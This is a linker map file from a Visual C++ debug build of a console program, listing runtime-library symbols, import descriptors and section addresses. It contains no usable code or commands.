0002:000000cc ___xt_a 004030cc MSVCRTD:initializers.obj
0002:000000d0 ___xt_z 004030d0 MSVCRTD:initializers.obj
0002:000000e0 ??_C@_0CDL@EKBHJHJD@U?$IL?l?$IB?l?$BM?$AC?$AA?$AAS3?$NL?GE?$NMkernVW?GE?$OAel32?GE?d?4@ 004030e0 ConsoleApplication3.obj
0002:00000388 __load_config_used 00403388 MSVCRTD:loadcfg.obj
0002:000003f0 ___safe_se_handler_table 004033f0 <linker-defined>
0002:000006dc ___rtc_iaa 004036dc MSVCRTD:_initsect_.obj
0002:000006e0 ___rtc_izz 004036e0 MSVCRTD:_initsect_.obj
0002:000006e4 ___rtc_taa 004036e4 MSVCRTD:_initsect_.obj
0002:000006e8 ___rtc_tzz 004036e8 MSVCRTD:_initsect_.obj
0002:0000072c __IMPORT_DESCRIPTOR_VCRUNTIME140D 0040372c vcruntimed:VCRUNTIME140D.dll
0002:00000740 __IMPORT_DESCRIPTOR_ucrtbased 00403740 ucrtd:ucrtbased.dll
0002:00000754 __IMPORT_DESCRIPTOR_KERNEL32 00403754 kernel32:KERNEL32.dll
0002:00000768 __NULL_IMPORT_DESCRIPTOR 00403768 vcruntimed:VCRUNTIME140D.dll
0003:00000000 ___scrt_native_dllmain_reason 00404000 MSVCRTD:utility.obj
0003:00000004 ___scrt_default_matherr 00404004 MSVCRTD:matherr.obj
0003:00000008 ___security_cookie_complement 00404008 MSVCRTD:gs_cookie.obj
0003:0000000c ___security_cookie 0040400c MSVCRTD:gs_cookie.obj
0003:00000010 ___isa_enabled 00404010 MSVCRTD:_cpu_disp_.obj
0003:00000014 ___scrt_ucrt_dll_is_in_use 00404014 MSVCRTD:ucrt_stubs.obj
0003:00000018 ___@@_PchSym_@00@UfhvihUBCDEUwvhpglkUzoovmylbwytUxlmhlovzkkorxzgrlmDUxlmhlovzkkorxzgrlmDUwvyftUhgwzucOlyq@F41B9653F8CADDCF 00404018 stdafx.obj
0003:0000001c ___scrt_current_native_startup_state 0040401c MSVCRTD:utility.obj
0003:00000020 ___scrt_native_startup_lock 00404020 MSVCRTD:utility.obj
0003:00000040 ?__type_info_root_node@@3U__type_info_node@@A 00404040 MSVCRTD:tncleanup.obj
0003:00000048 ?_OptionsStorage@?1??__local_stdio_printf_options@@9@4_KA 00404048 MSVCRTD:default_local_stdio_options.obj
0003:00000050 ?_OptionsStorage@?1??__local_stdio_scanf_options@@9@4_KA 00404050 MSVCRTD:default_local_stdio_options.obj
0003:00000058 ___scrt_debugger_hook_flag 00404058 MSVCRTD:utility_desktop.obj
0003:0000005c ___isa_available 0040405c MSVCRTD:_cpu_disp_.obj
0003:00000060 ___favor 00404060 MSVCRTD:_cpu_disp_.obj
0003:00000384 ___dyn_tls_dtor_callback 00404384 <common>
0003:00000388 ___dyn_tls_init_callback 00404388 <common>
entry point at 0001:000003a0
Static symbols
0000:ffff8000 .debug$S 00400000 ucrtd:ucrtbased.dll
0000:ffff8000 .debug$S 00400000 kernel32:KERNEL32.dll
0000:ffff8000 .debug$S 00400000 kernel32:KERNEL32.dll
0000:ffff8000 .debug$S 00400000 kernel32:KERNEL32.dll
0000:ffff8000 .debug$S 00400000 kernel32:KERNEL32.dll
0000:ffff8000 .debug$S 00400000 kernel32:KERNEL32.dll
0000:ffff8000 .debug$S 00400000 kernel32:KERNEL32.dll
0000:ffff8000 .debug$S 00400000 kernel32:KERNEL32.dll
0000:ffff8000 .debug$S 00400000 kernel32:KERNEL32.dll
0000:ffff8000 .debug$S 00400000 kernel32:KERNEL32.dll
0000:ffff8000 .debug$S 00400000 kernel32:KERNEL32.dll
0000:ffff8000 .debug$S 00400000 kernel32:KERNEL32.dll
0000:ffff8000 .debug$S 00400000 kernel32:KERNEL32.dll
0000:ffff8000 .debug$S 00400000 kernel32:KERNEL32.dll
0000:ffff8000 .debug$S 00400000 ucrtd:ucrtbased.dll
0000:ffff8000 .debug$S 00400000 ucrtd:ucrtbased.dll
0000:ffff8000 .debug$S 00400000 ucrtd:ucrtbased.dll
0000:ffff8000 .debug$S 00400000 ucrtd:ucrtbased.dll
0000:ffff8000 .debug$S 00400000 ucrtd:ucrtbased.dll
0000:ffff8000 .debug$S 00400000 ucrtd:ucrtbased.dll
0000:ffff8000 .debug$S 00400000 ucrtd:ucrtbased.dll
0000:ffff8000 .debug$S 00400000 ucrtd:ucrtbased.dll
0000:ffff8000 .debug$S 00400000 ucrtd:ucrtbased.dll
0000:ffff8000 .debug$S 00400000 ucrtd:ucrtbased.dll
0000:ffff8000 .debug$S 00400000 ucrtd:ucrtbased.dll
0000:ffff8000 .debug$S 00400000 ucrtd:ucrtbased.dll
0000:ffff8000 .debug$S 00400000 ucrtd:ucrtbased.dll
0000:ffff8000 .debug$S 00400000 ucrtd:ucrtbased.dll
0000:ffff8000 .debug$S 00400000 ucrtd:ucrtbased.dll
0000:ffff8000 .debug$S 00400000 ucrtd:ucrtbased.dll
0000:ffff8000 .debug$S 00400000 ucrtd:ucrtbased.dll
0000:ffff8000 .debug$S 00400000 ucrtd:ucrtbased.dll
0000:ffff8000 .debug$S 00400000 vcruntimed:VCRUNTIME140D.dll
0000:ffff8000 .debug$S 00400000 ucrtd:ucrtbased.dll
0000:ffff8000 .debug$S 00400000 ucrtd:ucrtbased.dll
0000:ffff8000 .debug$S 00400000 ucrtd:ucrtbased.dll
0000:ffff8000 .debug$S 00400000 ucrtd:ucrtbased.dll
0000:ffff8000 .debug$S 00400000 ucrtd:ucrtbased.dll
0000:ffff8000 .debug$S 00400000 ucrtd:ucrtbased.dll
0000:ffff8000 .debug$S 00400000 ucrtd:ucrtbased.dll
0000:ffff8000 .debug$S 00400000 ucrtd:ucrtbased.dll
0000:ffff8000 .debug$S 00400000 ucrtd:ucrtbased.dll
0000:ffff8000 .debug$S 00400000 vcruntimed:VCRUNTIME140D.dll
0000:ffff8000 .debug$S 00400000 vcruntimed:VCRUNTIME140D.dll
0000:ffff8000 .debug$S 00400000 ucrtd:ucrtbased.dll
0001:00000030 ?pre_c_initialization@@YAHXZ 00401030 f MSVCRTD:exe_wmain.obj
0001:000000f0 ?post_pgo_initialization@@YAHXZ 004010f0 f MSVCRTD:exe_wmain.obj
0001:00000100 ?pre_cpp_initialization@@YAXXZ 00401100 f MSVCRTD:exe_wmain.obj
0001:00000120 ?__scrt_common_main@@YAHXZ 00401120 f MSVCRTD:exe_wmain.obj
0001:00000130 ?__scrt_common_main_seh@@YAHXZ 00401130 f MSVCRTD:exe_wmain.obj
0001:00000360 ?initialize_environment@@YAXXZ 00401360 f MSVCRTD:exe_wmain.obj
0001:00000370 ?invoke_main@@YAHXZ 00401370 f MSVCRTD:exe_wmain.obj
0001:00000420 ?find_pe_section@@YAPAU_IMAGE_SECTION_HEADER@@QAEI@Z 00401420 f MSVCRTD:utility.obj
0001:000004b0 ?is_potentially_valid_image_base@@YA_NQAX@Z 004014b0 f MSVCRTD:utility.obj
0002:000000ac ?pre_cpp_initializer@@3P6AXXZA 004030ac MSVCRTD:exe_wmain.obj
0002:000000b8 ?pre_c_initializer@@3P6AHXZA 004030b8 MSVCRTD:exe_wmain.obj
0002:000000bc ?post_pgo_initializer@@3P6AHXZA 004030bc MSVCRTD:exe_wmain.obj
0002:0000031c _GS_ExceptionPointers 0040331c MSVCRTD:gs_report.obj
0002:000006f0 __sehtable$?__scrt_common_main_seh@@YAHXZ 004036f0 MSVCRTD:exe_wmain.obj
0002:00000710 __sehtable$___scrt_is_nonwritable_in_current_image 00403710 MSVCRTD:utility.obj
0002:00000844 .idata$6 00403844 vcruntimed:VCRUNTIME140D.dll
0002:00000a12 .idata$6 00403a12 ucrtd:ucrtbased.dll
0002:00000b3c .idata$6 00403b3c kernel32:KERNEL32.dll
0003:00000024 ?module_local_atexit_table@@3U_onexit_table_t@@A 00404024 MSVCRTD:utility.obj
0003:00000030 ?module_local_at_quick_exit_table@@3U_onexit_table_t@@A 00404030 MSVCRTD:utility.obj
0003:0000003c ?is_initialized_as_dll@@3_NA 0040403c MSVCRTD:utility.obj
0003:00000068 _GS_ExceptionRecord 00404068 MSVCRTD:gs_report.obj
0003:000000b8 _GS_ContextRecord 004040b8 MSVCRTD:gs_report.obj
0004:00000000 __guard_fids__ 00405000 MSVCRTD:exe_wmain.obj
0004:00000004 __guard_fids__ 00405004 MSVCRTD:exe_wmain.obj
0004:00000008 __guard_fids__ 00405008 MSVCRTD:exe_wmain.obj
0004:0000000c __guard_fids_?pre_c_initialization@@YAHXZ 0040500c MSVCRTD:exe_wmain.obj
0004:00000014 __guard_fids____scrt_set_unhandled_exception_filter 00405014 MSVCRTD:utility_desktop.obj
0004:00000018 __guard_fids___except_handler4 00405018 MSVCRTD:_chandler4gs_.obj
0004:0000001c __guard_fids__ 0040501c MSVCRTD:guard_support.obj
0005:00000060 $R000000 00406060 * linker generated manifest res *